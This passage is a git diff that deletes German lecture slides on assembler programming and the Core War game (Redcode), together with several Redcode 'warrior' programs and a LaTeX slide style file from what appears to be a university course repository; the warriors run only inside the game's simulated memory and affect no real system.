-../common/pgslides.sty \ No newline at end of file diff --git a/20210525/rtech-20210525.pdf b/20210525/rtech-20210525.pdf deleted file mode 100644 index 836f047bc165ee8f71d6a6fc371f8f8c71793b43..0000000000000000000000000000000000000000 Binary files a/20210525/rtech-20210525.pdf and /dev/null differ diff --git a/20210525/rtech-20210525.tex b/20210525/rtech-20210525.tex deleted file mode 100644 index c09caca7c2150d0205c753a0d2c3b9366b4f8e95..0000000000000000000000000000000000000000 --- a/20210525/rtech-20210525.tex +++ /dev/null @@ -1,437 +0,0 @@ -% rtech-20210525.pdf - Lecture Slides on Computer Technology -% Copyright (C) 2012, 2013, 2014, 2021 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Programmieren in Assembler: Krieg der Kerne (Fortsetzung) - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} - -\lstdefinestyle{asm}{basicstyle=\color{structure}, - language={}, - gobble=4} - -\title{Rechnertechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{25.\ Mai 2021} - -\begin{document} - -\maketitleframe - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \item[2.4] Negative Zahlen - \item[2.5] Vom Addierer zum Computer - \item[2.6] Computer-Sprachen - \item[2.7] Programmieren in Assembler - \color{orange} - \item[2.8] Struktur von Assembler-Programmen - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\setcounter{section}{1} -\section{Vom Schaltkreis zum Computer} -\setcounter{subsection}{7} -\subsection{Struktur von Assembler-Programmen} - -\begin{frame}[fragile] - - \showsubsection - - Beispiel 1: IA-32-Assembler \only<3>{-- Adressierungsarten} - - \vspace{2cm} - - \begin{lstlisting} - addl $1, %eax - movb %al, b - cmpb (%ebx), %dl - jbe .L2 - \end{lstlisting} - - \begin{onlyenv}<2-3> - \begin{picture}(0,0) - \color{red} - \put(0.4,2.8){\vector(0,-1){0.7}} - \put(0.4,2.9){\makebox(0,0)[b]{Befehl}} - \only<2>{% - \put(1.4,2.8){\vector(-1,-1){0.7}} - \put(2.3,2.9){\makebox(0,0)[b]{Größen-Suffix}}} - \only<3>{% - \put(1.4,2.8){\vector(-1,-2){0.35}} - \put(1.4,2.8){\vector(1,-2){0.35}} - \put(2.0,2.9){\makebox(0,0)[b]{Operanden}}} - \end{picture} - \end{onlyenv} - \begin{onlyenv}<4> - \begin{picture}(0,0) - \color{red} - \put(1.4,2.8){\vector(-1,-2){0.35}} - \put(2.0,2.9){\makebox(0,0)[b]{unmittelbar}} - \put(3.0,1.8){\vector(-1,0){0.7}} - \put(3.1,1.8){\makebox(0,0)[l]{Register}} - \put(4.8,1.4){\vector(-1,0){2.7}} - \put(4.9,1.4){\makebox(0,0)[l]{Speicher (absolut)}} - \put(2.3,-0.0){\vector(-1,1){0.7}} - \put(3.5,-0.1){\makebox(0,0)[t]{indirekt mit Register}} - \put(0.8,-0.6){\vector(0,1){0.9}} - \put(0.0,-0.7){\makebox(0,0)[tl]{Speicher (relativ)}} - \end{picture} - \end{onlyenv} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Beispiel 2: Redcode (ICWS '88) -- Core War[s] (Krieg der Kerne)\\ - Virtuelle Maschine: Memory Array Redcode Simulator (MARS) - - \bigskip - - \begin{minipage}[t]{7.2cm} - Instruktionen:\\[\smallskipamount] - \lstinline{dat B} -- Daten \only<1->{-- "`Du hast verloren!"'}\\ - \lstinline{mov A, B} -- kopiere A nach B\\ - \lstinline{add A, B} -- addiere A zu B\\ - \lstinline{sub A, B} -- subtrahiere A von B\\ - \lstinline{jmp A} -- unbedingter Sprung nach A\\ - \lstinline{jmz A, B} -- Sprung nach A, wenn B $=$ 0\\ - \lstinline{jmn A, B} -- Sprung nach A, wenn B $\ne$ 0\\ - \lstinline{djn A, B} -- "`decrement and jump if not zero"'\\ - \lstinline{cmp A, B} -- "`compare"': überspringe, falls gleich\\ - \lstinline{spl A} -- "`split"': Programm verzweigen - \end{minipage}\hfill - \begin{minipage}[t]{4.7cm} - Adressierungsarten:\\[\smallskipamount] - grundsätzlich: Speicher relativ\\[\smallskipamount] - \lstinline{#} -- unmittelbar\\ - \lstinline{$} -- direkt\\ - \lstinline{@} -- indirekt\\ - \lstinline{<} -- indirekt mit Prä-Dekrement - -% \pause[5] - \bigskip - Programm "`Nothing"': - \begin{lstlisting}[gobble=6] - jmp 0 - \end{lstlisting} -% \pause - \bigskip - Programm "`Knirps"': - \begin{lstlisting}[gobble=6] - mov 0, 1 - \end{lstlisting} - - \end{minipage} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Unbedingte Verzweigung - - Beispiel: Endlosschleife von "`Dwarf"' - - \begin{minipage}[t]{1.2cm} - \begin{lstlisting}[style=asm,gobble=6] - bomb - start - \end{lstlisting} - \end{minipage}% - \begin{minipage}[t]{3cm} - \begin{lstlisting}[style=asm,gobble=6] - dat #0 - add #4, bomb - mov bomb, @bomb - jmp start - end start - \end{lstlisting} - \end{minipage}\hfill - \begin{minipage}[t]{3.9cm} - \small - \bigskip - Instruktionen:\\[\smallskipamount] - \lstinline{dat B}\\ - \lstinline{mov A, B}\\ - \lstinline{add A, B}\\ - \lstinline{sub A, B}\\ - \lstinline{jmp A}\\ - \lstinline{jmz A, B} -- "`jump if zero"'\\ - \lstinline{jmn A, B} -- "`if not zero"'\\ - \lstinline{djn A, B} -- "`dec. \& jmn"'\\ - \lstinline{cmp A, B} -- vgl.\ \& überspr.\\ - \lstinline{spl A} -- verzweigen - \end{minipage}% - \begin{minipage}[t]{2.7cm} - \small - \bigskip - Adressierungsarten:\\[\medskipamount] - grundsätzlich:\\ - Speicher relativ\\[\medskipamount] - \lstinline{#} -- unmittelbar\\[\smallskipamount] - \lstinline{$} -- direkt\\[\smallskipamount] - \lstinline{@} -- indirekt\\[\smallskipamount] - \lstinline{<} -- indirekt mit\\ - \hspace*{0.52cm}Prä-Decrement - \end{minipage} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \alt<2->{Mehrere Threads}{Bedingte Verzweigung} - - Beispiel: \alt<2->{Multithreading}{Kopierschleife} von "`Mice"' - - \begin{minipage}[t]{1.2cm} - \begin{lstlisting}[style=asm,gobble=6] - ptr - start - loop - - - - - dest - - \end{lstlisting} - \end{minipage}% - \begin{minipage}[t]{3cm} - \begin{lstlisting}[style=asm,gobble=6] - dat #0 - mov #12, ptr - mov @ptr, <dest - djn loop, ptr - spl @dest - add #653, dest - jmz start, ptr - dat #833 - end start - \end{lstlisting} - \end{minipage}\hfill - \begin{minipage}[t]{3.9cm} - \small - \bigskip - Instruktionen:\\[\smallskipamount] - \lstinline{dat B}\\ - \lstinline{mov A, B}\\ - \lstinline{add A, B}\\ - \lstinline{sub A, B}\\ - \lstinline{jmp A}\\ - \lstinline{jmz A, B} -- "`jump if zero"'\\ - \lstinline{jmn A, B} -- "`if not zero"'\\ - \lstinline{djn A, B} -- "`dec. \& jmn"'\\ - \lstinline{cmp A, B} -- vgl.\ \& überspr.\\ - \lstinline{spl A} -- verzweigen - \end{minipage}% - \begin{minipage}[t]{2.7cm} - \small - \bigskip - Adressierungsarten:\\[\medskipamount] - grundsätzlich:\\ - Speicher relativ\\[\medskipamount] - \lstinline{#} -- unmittelbar\\[\smallskipamount] - \lstinline{$} -- direkt\\[\smallskipamount] - \lstinline{@} -- indirekt\\[\smallskipamount] - \lstinline{<} -- indirekt mit\\ - \hspace*{0.52cm}Prä-Decrement - \end{minipage} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Selbstmodifizierender Code - - Beispiel: Selbsterkennung von "`Fini"' - - \begin{minipage}[t]{1.2cm} - \begin{lstlisting}[language={},gobble=6] - num - start - - pos - - \end{lstlisting} - \end{minipage}% - \begin{minipage}[t]{0.9cm} - \begin{lstlisting}[language={},gobble=6] - dat #-2 - mov num, <pos - jmp start - dat - end start - \end{lstlisting} - \end{minipage}\hfill - \begin{minipage}[t]{3.9cm} - \small - \bigskip - Instruktionen:\\[\smallskipamount] - \lstinline{dat B}\\ - \lstinline{mov A, B}\\ - \lstinline{add A, B}\\ - \lstinline{sub A, B}\\ - \lstinline{jmp A}\\ - \lstinline{jmz A, B} -- "`jump if zero"'\\ - \lstinline{jmn A, B} -- "`if not zero"'\\ - \lstinline{djn A, B} -- "`dec. \& jmn"'\\ - \lstinline{cmp A, B} -- vgl.\ \& überspr.\\ - \lstinline{spl A} -- verzweigen - \end{minipage}% - \begin{minipage}[t]{2.7cm} - \small - \bigskip - Adressierungsarten:\\[\medskipamount] - grundsätzlich:\\ - Speicher relativ\\[\medskipamount] - \lstinline{#} -- unmittelbar\\[\smallskipamount] - \lstinline{$} -- direkt\\[\smallskipamount] - \lstinline{@} -- indirekt\\[\smallskipamount] - \lstinline{<} -- indirekt mit\\ - \hspace*{0.52cm}Prä-Decrement - \end{minipage} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \strut - - \strut\makebox(0,0)[bl]{\large\color{structure}\textbf{Ehemaliger Praktikumsversuch (2014)}} - \hfill Inspiration für Projekt? - - \begin{minipage}[t]{5cm} - \medskip - Schreiben Sie ein\\ - Redcode-Programm,\\ - das die Gegner\\ - \file{Nothing}, \file{Knirps}\\ - und \file{Mice} besiegt. - - \medskip - - ICWS-88-Standard,\\ - max.\ 64 Prozesse,\\ - Speichergröße zufällig - - \medskip - - Teams bis zu 3 Personen\\ - sind zulässig. - \end{minipage}\hfill - \begin{minipage}[t]{3.9cm} - \small - \bigskip - Instruktionen:\\[\smallskipamount] - \lstinline{dat B}\\ - \lstinline{mov A, B}\\ - \lstinline{add A, B}\\ - \lstinline{sub A, B}\\ - \lstinline{jmp A}\\ - \lstinline{jmz A, B} -- "`jump if zero"'\\ - \lstinline{jmn A, B} -- "`if not zero"'\\ - \lstinline{djn A, B} -- "`dec. \& jmn"'\\ - \lstinline{cmp A, B} -- vgl.\ \& überspr.\\ - \lstinline{spl A} -- verzweigen - \end{minipage}% - \begin{minipage}[t]{2.7cm} - \small - \bigskip - Adressierungsarten:\\[\medskipamount] - grundsätzlich:\\ - Speicher relativ\\[\medskipamount] - \lstinline{#} -- unmittelbar\\[\smallskipamount] - \lstinline{$} -- direkt\\[\smallskipamount] - \lstinline{@} -- indirekt\\[\smallskipamount] - \lstinline{<} -- indirekt mit\\ - \hspace*{0.52cm}Prä-Decrement - \end{minipage} - -\end{frame} - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \item[2.4] Negative Zahlen - \item[2.5] Vom Addierer zum Computer - \item[2.6] Computer-Sprachen - \item[2.7] Programmieren in Assembler - \color{medgreen} - \item[2.8] Struktur von Assembler-Programmen - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\end{document} diff --git a/20210525/rtech-20210525.txt b/20210525/rtech-20210525.txt deleted file mode 100644 index e0cedb3e0cfb2f21e26f7d3eb6e04a1c982cd064..0000000000000000000000000000000000000000 --- a/20210525/rtech-20210525.txt +++ /dev/null @@ -1,2 +0,0 @@ - - Warum schneidet dwarf3 gegen knirps schlechter ab als dwarf2? - - Warum schneidet catcan gegen mice nur mit Unentschieden ab? diff --git a/20210531/catcan2.red b/20210531/catcan2.red deleted file mode 100644 index f0aa1dcf34b4ecda5fe14a170ec69c6ad3044fe3..0000000000000000000000000000000000000000 --- a/20210531/catcan2.red +++ /dev/null @@ -1,21 +0,0 @@ -;name Cat Can -;author A. Kirchner, F. Uy, minor changes by P. Gerwinski -;assert 1 -; -; Your basic two sweep methodical bomber. -; Fires SPL 0 and JMP -1 at every eight -; addresses, then erases the core with -; DAT bombs. - -start mov trap2, < bomb - mov trap1, < bomb - sub # 6, bomb - jmn start, bomb ; trap loop -set mov # -5, bomb -kill mov bomb, @ bomb - djn kill, bomb ; kill loop -reset jmp set -bomb dat # -8 -trap1 spl 0 -trap2 jmp -1 - end start diff --git a/20210531/chml78b.red b/20210531/chml78b.red deleted file mode 100644 index dc12708ab8b5dc93351a6f3fa046a12416b69576..0000000000000000000000000000000000000000 --- a/20210531/chml78b.red +++ /dev/null @@ -1,88 +0,0 @@ -;name Chamaeleon -;version 7.8b (19.9.1991, modifiziert am 12. und 17.11.2012) -;author Peter Gerwinski -;assert 1 - -step equ 97 - -pos dat #42, #-20 - -melden mov hallo, ctrl ; Gefangener Gegner meldet sich - -cntdwn sub #1, ctr ; Runtime-Fallen-Fini -falle spl cntdwn - mov fnum, <hallo - jmn falle, ctr - -fnum dat #0, #(cntdwn - hallo) ; echtes Fini -ctrl djn ctrl, test ; Haupt-Task überwachen - spl piranh -fini mov fnum, <hallo -ctr jmp fini, #MAXPROCESSES - -hallo jmp (fini - ctrl), #(selbst + 20 - hallo) ; Klingel für gefangenen Gegner - -muni2 jmp 1 -muni jmp @42, #(melden - pos) ; Munition - -piranh mov #9, muni ; Piranhas, Version 2.4 -ploop mov @muni, <ppos -pziel mov pmuni, (ppos - 20) - sub #73, pziel - djn ploop, muni -ppos spl @0, #833 - add #653, ppos - jmz piranh, muni -pmuni dat #0, #0 - -start spl ctrl ; Überwachungs-Task aktivieren -loop mov #12, test ; Watchdog zurücksetzen - cmp @pos, <pos ; Gegner mit großer Schrittweite suchen - jmp feuer - sub #step, pos - cmp @pos, <pos - jmp feuer - sub #step, pos - cmp @pos, <pos - jmp feuer - sub #step, pos - jmp loop - -feuer mov pos, psave - add #step, pos -such mov #11, test ; Watchdog - jmn gefu, <pos ; Gegner mit Schrittweite 1 suchen - jmn gefu, <pos - jmn gefu, <pos - jmn gefu, <pos - jmz such, <pos - -gefu cmp pos, spos ; Erkenne dich selbst! - jmn drauf, 1 - mov psave, pos - sub #step, pos - djn loop, selbst - mov hallo, ctrl ; Bei Langeweile: fini - jmp fini - -drauf mov #13, test ; Gegner mit jmp-Bomben eindecken - mov muni, @pos - sub pos, @pos ; Sprung in die Falle - mov muni2, <pos - mov muni2, <pos - mov muni2, <pos - mov muni2, <pos - mov muni2, <pos - mov muni2, <pos - mov psave, pos - sub #step, pos - djn loop, genug - jmp fini ; Zu viel zu Bombardieren: fini und Piranhas - -spos dat #42, #(selbst - pos) -psave dat #0, #0 -test dat #0, #2 -genug dat #0, #10 -selbst dat #0, #37 - - end start diff --git a/20210531/fini.red b/20210531/fini.red deleted file mode 100644 index 977eac6472c78624d3aceb9929009d4f48e69341..0000000000000000000000000000000000000000 --- a/20210531/fini.red +++ /dev/null @@ -1,16 +0,0 @@ -;redcode -;name fini -;version (8.1990) -;author Bodo M�ller -;assert 1 - -;+--------------------------------------------------------------------------+ -;| FINI ( = Endstufe von PARALYSE) Version 1.0 by B.M. Aug. '90 | -;+--------------------------------------------------------------------------+ - -NUM DAT #-2 -START MOV NUM, <POS -LOOP JMP START -POS DAT #-3 - - END START diff --git a/20210531/logo-hochschule-bochum-cvh-text-v2.pdf b/20210531/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 100644 index 3725a72c764b4d9ab200553474e4262161f7a5b5..0000000000000000000000000000000000000000 Binary files a/20210531/logo-hochschule-bochum-cvh-text-v2.pdf and /dev/null differ diff --git a/20210531/logo-hochschule-bochum.pdf b/20210531/logo-hochschule-bochum.pdf deleted file mode 100644 index 8cad73dbb48a2b550bf29355b5a6ec895ce091f8..0000000000000000000000000000000000000000 Binary files a/20210531/logo-hochschule-bochum.pdf and /dev/null differ diff --git a/20210531/oft.red b/20210531/oft.red deleted file mode 100644 index 635dc16a6b27135fce830814e4cb71c6a7e62605..0000000000000000000000000000000000000000 --- a/20210531/oft.red +++ /dev/null @@ -1,12 +0,0 @@ -;redcode -;name oft -;version 1.0 (8.1990) -;author Olaf Klein -;assert 1 - -; +----------------------------------+ -; | O F T by O.K. AUG. 1990 | -; +----------------------------------+ - -SPL <456 -JMP -1 diff --git a/20210531/pgslides.sty b/20210531/pgslides.sty deleted file mode 100644 index 9a019ce99f03d27a17942facc56fe2145f46b6a6..0000000000000000000000000000000000000000 --- a/20210531/pgslides.sty +++ /dev/null @@ -1,233 +0,0 @@ -% pgslides.sty - LaTeX Settings for Lecture Slides -% Copyright (C) 2012, 2013 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -\usepackage{amsfonts} -\usepackage[british,german]{babel} % Yes, really "german" and not "ngerman". -\usepackage[utf8]{luainputenc} % Without this, umlauts are broken. Weird. -\usepackage{microtype} -\usepackage[T1]{fontenc} -\usepackage{times} -\usepackage{helvet} -\renewcommand*\familydefault{\sfdefault} -\usepackage{graphicx} -\usepackage{pstricks} - -\hypersetup{colorlinks,allcolors=blue} - -%% @@@ Not necessary for slides. Why??? -%% Repair kerning: Automatically insert "\kern{-0.15em}" between "//" % (in URLs). -%\directlua{ -% local glyph = node.id ("glyph") -% local function my_kerning (head) -% for t in node.traverse (head) do -% if t.id == glyph and t.char == 47 then -% if t.next -% and t.next.next -% and t.next.next.id == glyph -% and t.next.next.char == 47 then -% local k = node.new ("kern") -% k.kern = tex.sp ("-0.15em") -% k.next = t.next -% k.prev = t -% t.next.prev = k -% t.next = k -% end -% end -% end -% node.kerning (head) -% end -% luatexbase.add_to_callback ("kerning", my_kerning, "URL kerning") -%} - -\usetheme{default} -\usefonttheme{structurebold} -\setbeamertemplate{navigation symbols}{} -\setbeamersize{text margin left = 0.3cm, text margin right = 0.2cm} -\setbeamertemplate{itemize item}{$\bullet$} -\setbeamertemplate{itemize subitem}{--} -\setbeamerfont{itemize/enumerate subbody}{size=\normalsize} -\setbeamerfont{itemize/enumerate subsubbody}{size=\normalsize} -\setbeamercolor{footline}{fg=gray} - -\newcommand{\sep}{~$\cdot$~} - -\newif\ifminimalistic -\minimalistictrue - -\institute[Hochschule Bochum\sep CVH]{% - \makebox(0,0.005)[tl]{\includegraphics[scale=0.72]{logo-hochschule-bochum-cvh-text-v2.pdf}}\hfill - \makebox(0,0)[tr]{\includegraphics[scale=0.5]{logo-hochschule-bochum.pdf}}% -} - -\setbeamertemplate{headline}{% - \leavevmode - \hbox to \textwidth{% - \ifminimalistic - \strut\hfill - \else - \rule{0pt}{5.7pt}% - \hspace*{8.55pt}\insertinstitute\hspace*{5.7pt}% - \raisebox{-30pt}{\rule{0pt}{1pt}}% - \fi - }% - \vskip0pt% -} - -\iffalse - \setbeamertemplate{footline}{} -\else - \setbeamertemplate{footline}{% - \leavevmode - \hbox to \textwidth{% - \usebeamercolor{footline}% - \usebeamerfont{footline}% - \ifminimalistic - \strut\hfill - \else - \,\insertshorttitle\sep - \insertshortauthor\sep - \insertshortinstitute\sep - \insertshortdate\hfill - \fi - \insertframenumber/\inserttotalframenumber - %Folie\,\insertframenumber\sep Seite\,\insertpagenumber\, - }% - \vskip0pt% - } -\fi - -\newcommand{\maketitleframe}{% - \ifminimalistic - \begin{frame}[t,plain] - \insertinstitute - \par\vfill - \begin{center} - {\LARGE\color{structure}\inserttitle\par}\bigskip\bigskip - {\large \insertauthor\par}\bigskip\medskip - \insertdate - \end{center} - \end{frame} - \else - \begin{frame} - \vfill - \begin{center} - {\LARGE\color{structure}\inserttitle\par}\bigskip\bigskip - {\large \insertauthor\par}\bigskip\medskip - \insertdate - \end{center} - \vfill - \end{frame} - \fi -} - -\definecolor{medgreen}{rgb}{0.0,0.5,0.0} -\definecolor{darkgreen}{rgb}{0.0,0.3,0.0} -\definecolor{lightred}{rgb}{1.0,0.7,0.7} -\definecolor{medred}{rgb}{0.5,0.0,0.0} -\definecolor{bored}{rgb}{0.89,0.0,0.098} -\definecolor{lightgray}{rgb}{0.85,0.85,0.85} -\definecolor{orange}{rgb}{1.0,0.5,0.0} -\definecolor{darkgray}{rgb}{0.4,0.4,0.4} - -\newenvironment{experts}{\color{darkgray}}{} - -\usepackage{listings} -\lstset{basicstyle=\color{structure}, - language=C, - captionpos=b, - gobble=4, - columns=fullflexible, - aboveskip=0pt, - belowskip=0pt, - moredelim=**[is][\color{structure}]{¡}{¿}, - moredelim=**[is][\only<2->{\color{structure}}]{²}{¿}, - moredelim=**[is][\only<3->{\color{structure}}]{³}{¿}, - moredelim=**[is][\only<4->{\color{structure}}]{°}{¿}, - moredelim=**[is][\only<5->{\color{structure}}]{¤}{¿}, - moredelim=**[is][\only<6->{\color{structure}}]{¢}{¿}, - moredelim=**[is][\only<7->{\color{structure}}]{æ}{¿}, - moredelim=**[is][\only<8->{\color{structure}}]{ø}{¿}} -\lstdefinestyle{terminal}{basicstyle=\ttfamily\color{darkgreen}, - language={}, - columns=fixed, - moredelim=**[is][\color{red}]{¡}{¿}, - moredelim=**[is][\color{blendedblue}]{°}{¿}, - moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}} -\lstdefinestyle{cmd}{basicstyle=\ttfamily\color{red}, - language={}, - gobble=2, - columns=fixed, - moredelim=**[is][\color{darkgreen}]{¡}{¿}, - moredelim=**[is][\color{structure}]{°}{¿}, - moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}} -\lstdefinestyle{shy}{basicstyle=\color{lightgray}} - -\setcounter{topnumber}{3} -\renewcommand\topfraction{0.7} -\setcounter{bottomnumber}{3} -\renewcommand\bottomfraction{0.7} -\setcounter{totalnumber}{5} -\renewcommand\textfraction{0.1} -\renewcommand\floatpagefraction{0.9} - -\setlength{\unitlength}{1cm} - -\newcommand{\protectfile}[1]{#1} -\urlstyle{sf} -\newcommand{\file}[1]{{\color{structure}\protectfile{#1}}} -\newcommand{\textarrow}{{\boldmath $\longrightarrow$}} -\newcommand{\arrowitem}{\item[\textarrow]} -\newcommand{\newterm}[1]{\emph{\color{darkgreen}#1}} -\newcommand{\BIGskip}{\vspace{1cm}} -\newcommand{\shy}{\color{lightgray}} -\newcommand{\hot}{\color{red}} -\newcommand{\shyhot}{\color{lightred}} - -\newcommand{\sectionnonumber}[1]{\section{#1}\addtocounter{section}{-1}} - -\def\showsectionnonumber{\hbox{\Large\color{structure}\bf - \vtop{\secname}\par}\bigskip} - -\newcommand{\nosectionnonumber}[1]{\gdef\nosectionnonumbername{#1}} - -\def\shownosectionnonumber{\hbox{\Large\color{structure}\bf - \vtop{\nosectionnonumbername}\par}\bigskip} - -\def\showsection{\hbox{\Large\color{structure}\bf - \vtop{\hbox{\arabic{section}}}\kern1em% - \vtop{\secname}\par}\bigskip} - -\newcommand{\subsectionnonumber}[1]{\subsection{#1}\addtocounter{subsection}{-1}} - -\def\showsubsectionnonumber{{\large\color{structure}\bf\subsecname\par}\bigskip} - -\def\showsubsection{\hbox{\large\color{structure}\bf - \vtop{\hbox{\arabic{section}.\arabic{subsection}}}\kern1em% - \vtop{\subsecname}\par}\bigskip} - -\newcommand{\subsubsectionnonumber}[1]{\subsubsection{#1}\addtocounter{subsubsection}{-1}} - -\def\showsubsubsectionnonumber{{\normalsize\color{structure}\bf\subsubsecname\par}\bigskip} - -\def\showsubsubsection{\hbox{\normalsize\color{structure}\bf - \vtop{\hbox{\arabic{section}.\arabic{subsection}.\arabic{subsubsection}}}\kern1em% - \vtop{\subsubsecname}\par}\bigskip} diff --git a/20210531/piranh24b.red b/20210531/piranh24b.red deleted file mode 100644 index 6a9baa437a283e7a51c990bea65ec1859ff8c901..0000000000000000000000000000000000000000 --- a/20210531/piranh24b.red +++ /dev/null @@ -1,17 +0,0 @@ -;name Piranhas -;version 2.4b (25.4.1991, modifiziert am 8.11.2012) -;author Peter Gerwinski -;assert 1 - -ptr dat #0 -start mov #9, ptr -loop mov @ptr, <pos -ziel mov muni, -20 - sub #257, ziel - djn loop, ptr -pos spl @0, #833 - add #653, pos - jmz start, ptr -muni dat #0 - - end start diff --git a/20210531/rtech-20210531.pdf b/20210531/rtech-20210531.pdf deleted file mode 100644 index 7722fac360f54407112a5fcd2a71c61a914560e1..0000000000000000000000000000000000000000 Binary files a/20210531/rtech-20210531.pdf and /dev/null differ diff --git a/20210531/rtech-20210531.tex b/20210531/rtech-20210531.tex deleted file mode 100644 index 7fc10b756812491e3f367ca98f2a29c73785efba..0000000000000000000000000000000000000000 --- a/20210531/rtech-20210531.tex +++ /dev/null @@ -1,786 +0,0 @@ -% rtech-20210531.pdf - Lecture Slides on Computer Technology -% Copyright (C) 2012, 2013, 2014, 2021 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Architekturmerkmale von Prozessoren - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} - -\lstdefinestyle{asm}{basicstyle=\color{structure}, - language={}, - gobble=4} - -\title{Rechnertechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{31.\ Mai 2021} - -\begin{document} - -\maketitleframe - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \item[2.4] Negative Zahlen - \item[2.5] Vom Addierer zum Computer - \item[2.6] Computer-Sprachen - \item[2.7] Programmieren in Assembler - \color{orange} - \item[2.8] Struktur von Assembler-Programmen - \end{itemize} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \color{gray} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\setcounter{section}{1} -\section{Vom Schaltkreis zum Computer} -\setcounter{subsection}{7} -\subsection{Struktur von Assembler-Programmen} - -\begin{frame}[fragile] - - \showsubsection - - Beispiel 2: Redcode (ICWS '88) -- Core War[s] (Krieg der Kerne)\\ - Virtuelle Maschine: Memory Array Redcode Simulator (MARS) - - \bigskip - - \begin{minipage}[t]{7.2cm} - Instruktionen:\\[\smallskipamount] - \lstinline{dat B} -- Daten \only<1->{-- "`Du hast verloren!"'}\\ - \lstinline{mov A, B} -- kopiere A nach B\\ - \lstinline{add A, B} -- addiere A zu B\\ - \lstinline{sub A, B} -- subtrahiere A von B\\ - \lstinline{jmp A} -- unbedingter Sprung nach A\\ - \lstinline{jmz A, B} -- Sprung nach A, wenn B $=$ 0\\ - \lstinline{jmn A, B} -- Sprung nach A, wenn B $\ne$ 0\\ - \lstinline{djn A, B} -- 